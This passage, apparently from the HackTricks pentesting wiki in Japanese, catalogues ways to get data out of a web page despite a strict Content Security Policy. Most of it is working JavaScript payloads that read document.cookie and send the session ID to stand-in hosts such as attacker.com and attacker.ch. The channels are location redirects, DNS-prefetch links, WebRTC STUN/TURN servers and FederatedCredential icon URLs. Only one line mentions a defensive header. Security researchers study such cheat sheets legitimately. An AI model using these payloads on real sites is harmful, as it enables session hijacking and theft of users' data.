この攻撃を実行する方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を確認してください。
CSP Exfiltration Bypasses
厳格なCSPがあり、外部サーバーとやり取りすることを許可しない場合、情報を抽出するために常にできることがいくつかあります。
Location
攻撃者のサーバーに秘密情報を送信するために、単にロケーションを更新することができます:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
メタタグを注入することでリダイレクトできます(これは単なるリダイレクトであり、コンテンツは漏れません)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、それを後で使用するためにキャッシュします。
ブラウザにホスト名を事前解決させるには、次のように指定できます: <link rel="dns-prefetch" href="something.com">
この動作を悪用して、DNSリクエストを介して機密情報を流出させることができます:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
別の方法:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
この問題を避けるために、サーバーはHTTPヘッダーを送信できます:
X-DNS-Prefetch-Control: off
note
この技術はヘッドレスブラウザ(ボット)では機能しないようです。
WebRTC
いくつかのページでは、WebRTCはCSPのconnect-src
ポリシーをチェックしないと記載されています。
実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
別のオプション:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
認証ポップアップは、ページによって制限されることなくiconURLにDNSリクエストを送信します。これは、安全なコンテキスト(HTTPS)またはlocalhostでのみ機能します。
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
CSPポリシーのオンラインチェック
CSPの自動生成
https://csper.io/docs/generating-content-security-policy
参考文献
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。